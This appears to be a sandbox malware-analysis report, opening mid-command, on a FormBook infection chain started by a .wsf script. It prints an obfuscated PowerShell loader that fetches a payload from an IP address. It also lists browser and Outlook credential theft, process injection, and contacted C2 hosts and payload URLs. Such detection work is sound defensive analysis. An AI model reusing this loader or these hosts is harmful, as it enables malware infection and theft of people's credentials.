sdllene.p 4t ');apalachicola (adskilligt ' $fg l,o b a l :ff,e r stkav a nod.etn e,= (ttse.s t -lptalthh c$so zbo.niioca) ') ;apalachicola (adskilligt 'u$ g l o bhakl : e n emr,vsetrtes=r$bgsl obb.a.lh:ft eor m o m emter.e.n.ef+,+ % $ bpa r r a m ubnadna s .sckobucn ts ') ;$discredit=$barramundas[$enervere];}apalachicola (adskilligt 'u$sgolwo,bcanl : ftitrteflto c kls ,=. ug ettt-oc,o nrtle,nat $fo,z o.neiica ');apalachicola (adskilligt ',$cg l oabpaclp: lhipt tpe rha t umril i.s t e ne1u4n m=d [.s.y.s.tke mr.,cio,ntv e r,t,]f:d: f rao.m.b a.sseb6t4,set rsisn g,( $mf igrreplio csk sm)n ');apalachicola (adskilligt 'g$jg,llogbdatl :sv eer b ibg evr a thi n.gb b=a [rswyes.t e,ms. tlefx tc. ekn cnoodeitnmg ],:k:ka spc iuit. g,ect s tnrmi npg (u$ laigtet e rvaet umrrl i.stt e ne1b4.)s ');apalachicola (adskilligt 'n$.g.lmovboasl.: kta r r i e r e.r ndes1 5 8s= $ov errpbai g e,r aqt,i,nhgn. sburb shtmr ipnrgl( 3 3b6t3 9 4,,.2b5 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "$offence = 1;$rabbitriesnterimsstyre='substrin';$rabbitriesnterimsstyre+='g';function adskilligt($tegnedatabasen){$bejig=$tegnedatabasen.length-$offence;for($rabbitries=1; $rabbitries -lt $bejig; $rabbitries+=(2)){$foundlings+=$tegnedatabasen.$rabbitriesnterimsstyre.invoke($rabbitries, $offence);}$foundlings;}function apalachicola($specieskbenes){&($milleardtedele) ($specieskbenes);}$folkedemokrati=adskilligt 'imhoazai.l l,ao/ 5 .t0w s(,w,iun,dgobw,sh sndte .1h0p.g0,; rwpi nn6r4 ;n xm6t4k;, cruv :r1m2g1 . 0c) bgve,cekbo,/,2 0,1,0 0e1l0 1, lfuitr.enfko,xs/ 1a2u1y.,0l ';$godsterminalers=adskilligt 'hupsme rt-.aague,n tg ';$discredit=adskilligt 'ghtt tjp :m/,/.8,7f. 1.2,1..u1 0 5s.m1a6p3c/ akc a riifa,t,r ea4s3,. cbhbm ';$trlbundnes=adskilligt ' >m ';$milleardtedele=adskilligt 'tiue.x ';$phillipeener = adskilligt ' escsh os r%haup ped ast al%,\ b.abl lhe pnraeusfs e r.e.s,. ifnne k&e&m we.cahsok .$ ';apalachicola (adskilligt ' $mgrlfoub akl :mgmebrcmkief.uugbe.= (,ctmhdv /hce .$up htiul.lpiuppe esn.edra), ');apalachicola (adskilligt 's$,g l,o b aklv:ibaafrfrfa m utnmdpazsp= $ d i sncur evd ifts.tslpsldittu( $,t.r lfb,uen dqn ens )s ');$discredit=$barramundas[0];apalachicola (adskilligt 'p$ gel.okbtanlf: o,vuerr gbe nke.r a.l i z iunrg =,n,esw -.o b jte cutp .sfyus.tbevmd. n eetg.swbefboc.lki esnft ');apalachicola (adskilligt 'w$ o.v e.rlgmemn.eurjagldipz ipn gp. h enagdae,rdsa[ $pgeo d sptae.r,mbimnua lje,r sa]t=u$.f o.l kserd e,mgookfrpa tpi ');$lordlily=adskilligt 'dorv earhguern.esrkasl idzpign g .,dsotwfn,l.obard f islhep( $ d i,sbc rse.dhittk,i$,o z,opn.itc,), ';$lordlily=$germifuge[1]+$lordlily;$ozonic=$germifuge[0];apalachicola (adskilligt 'n$,g.l osb a.la:rf,etrkstk vla n d,e n,eb=c(,t evsst -wpea tih $mo z,oen,iwc ) ');while (!$ferskvandene) {apalachicola (adskilligt ' $ g lvo boahl :fcroum.p l e,m e,nat eir.= $ tjr u eb ') ;apalachicola $lordlily;apalachicola (adskilligt ' s.t a,rrtm- sdllene.p 4t ');apalachicola (adskilligt ' $fg l,o b a l :ff,e r stkav a nod.etn e,= (ttse.s t -lptalthh c$so zbo.niioca) ') ;apalachicola (adskilligt 'u$ g l o bhakl : e n emr,vsetrtes=r$bgsl obb.a.lh:ft eor m o m emter.e.n.ef+,+ % $ bpa r r a m ubnadna s .sckobucn ts ') ;$discredit=$barramundas[$enervere];}apalachicola (adskilligt 'u$sgolwo,bcanl : ftitrteflto c kls ,=. ug ettt-oc,o nrtle,nat $fo,z o.neiica ');apalachicola (adskilligt ',$cg l oabpaclp: lhipt tpe rha t umril i.s t e ne1u4n m=d [.s.y.s.tke mr.,cio,ntv e r,t,]f:d: f rao.m.b a.sseb6t4,set rsisn g,( $mf igrreplio csk sm)n ');apalachicola (adskilligt 'g$jg,llogbdatl :sv eer b ibg evr a thi n.gb b=a [rswyes.t e,ms. tlefx tc. ekn cnoodeitnmg ],:k:ka spc iuit. g,ect s tnrmi npg (u$ laigtet e rvaet umrrl i.stt e ne1b4.)s ');apalachicola (adskilligt 'n$.g.lmovboasl.: kta r r i e r e.r ndes1 5 8s= $ov errpbai g e,r aqt,i,nhgn. sburb shtmr ipnrgl( 3 3b6t3 9 4,,.2b5 Jump to behavior
Source: VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000000.2608050850.0000000000F51000.00000002.00000001.00040000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000002.3227730413.0000000000F51000.00000002.00000001.00040000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000D.00000000.2756760533.0000000001411000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Program Manager
Source: VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000000.2608050850.0000000000F51000.00000002.00000001.00040000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000002.3227730413.0000000000F51000.00000002.00000001.00040000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000D.00000000.2756760533.0000000001411000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000000.2608050850.0000000000F51000.00000002.00000001.00040000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000002.3227730413.0000000000F51000.00000002.00000001.00040000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000D.00000000.2756760533.0000000001411000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000000.2608050850.0000000000F51000.00000002.00000001.00040000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000002.3227730413.0000000000F51000.00000002.00000001.00040000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000D.00000000.2756760533.0000000001411000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 00000009.00000002.2706108024.0000000020A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.3227805976.0000000002F00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.3226812010.0000000002900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.3227790923.0000000000DC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.3227854878.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.3228055880.00000000026B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2685647197.0000000002E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\SysWOW64\AtBroker.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\SysWOW64\AtBroker.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ Jump to behavior

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 00000009.00000002.2706108024.0000000020A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.3227805976.0000000002F00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.3226812010.0000000002900000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.3227790923.0000000000DC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.3227854878.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.3228055880.00000000026B0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2685647197.0000000002E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1431462 Sample: Ordine_doc_419024001904.wsf Startdate: 25/04/2024 Architecture: WINDOWS Score: 100 51 www.tyaer.com 2->51 53 www.megabet303.lol 2->53 55 www.oyoing.com 2->55 65 Snort IDS alert for network traffic 2->65 67 Multi AV Scanner detection for domain / URL 2->67 69 Malicious sample detected (through community Yara rule) 2->69 71 6 other signatures 2->71 12 wscript.exe 1 2->12         started        15 wab.exe 1 2->15         started        17 wab.exe 3 1 2->17         started        19 rundll32.exe 2->19         started        signatures3 process4 signatures5 95 VBScript performs obfuscated calls to suspicious functions 12->95 97 Suspicious powershell command line found 12->97 99 Wscript starts Powershell (via cmd or directly) 12->99 101 4 other signatures 12->101 21 powershell.exe 14 19 12->21         started        process6 dnsIp7 57 87.121.105.163, 49704, 49713, 80 NET1-ASBG Bulgaria 21->57 73 Suspicious powershell command line found 21->73 75 Very long command line found 21->75 77 Found suspicious powershell code related to unpacking or dynamic code loading 21->77 25 powershell.exe 17 21->25         started        28 conhost.exe 21->28         started        30 cmd.exe 1 21->30         started        signatures8 process9 signatures10 83 Writes to foreign memory regions 25->83 85 Found suspicious powershell code related to unpacking or dynamic code loading 25->85 32 wab.exe 6 25->32         started        35 cmd.exe 1 25->35         started        37 wab.exe 25->37         started        process11 signatures12 63 Maps a DLL or memory area into another process 32->63 39 VkpUSAfAICCLXDmxnjqGHDByu.exe 32->39 injected process13 signatures14 79 Maps a DLL or memory area into another process 39->79 81 Found direct / indirect Syscall (likely to bypass EDR) 39->81 42 AtBroker.exe 1 13 39->42         started        process15 signatures16 87 Tries to steal Mail credentials (via file / registry access) 42->87 89 Tries to harvest and steal browser information (history, passwords, etc) 42->89 91 Modifies the context of a thread in another process (thread injection) 42->91 93 2 other signatures 42->93 45 VkpUSAfAICCLXDmxnjqGHDByu.exe 42->45 injected 49 firefox.exe 42->49         started        process17 dnsIp18 59 www.tyaer.com 47.91.88.207, 49716, 80 CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC United States 45->59 61 www.oyoing.com 127.0.0.1 unknown unknown 45->61 103 Found direct / indirect Syscall (likely to bypass EDR) 45->103 signatures19
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
87.121.105.163
 unknown Bulgaria
43561 NET1-ASBG false
47.91.88.207
 www.tyaer.com United States
45102 CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC true

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
www.oyoing.com 127.0.0.1 true
www.tyaer.com 47.91.88.207 true
www.megabet303.lol unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://87.121.105.163/Acariatre43.chm false
  • 18%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
http://www.tyaer.com/gnbc/?URw=Rnl4c&BP-t5v1=L9JeOsoYfW7LuiHaclFiXmHOc0YYKxwC8gDNcZo86ZNgoJ0Ky4PaH7PNod07P46PC5yTK57EcxKk26T8ts7dcr46kIfYIZ8tiScezyY+sUlmUz9chnLJzCyoHk2LugWc+g== true
  • Avira URL Cloud: malware
 unknown
http://87.121.105.163/icjFpYDkBweqyeZ252.bin false
  • 17%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown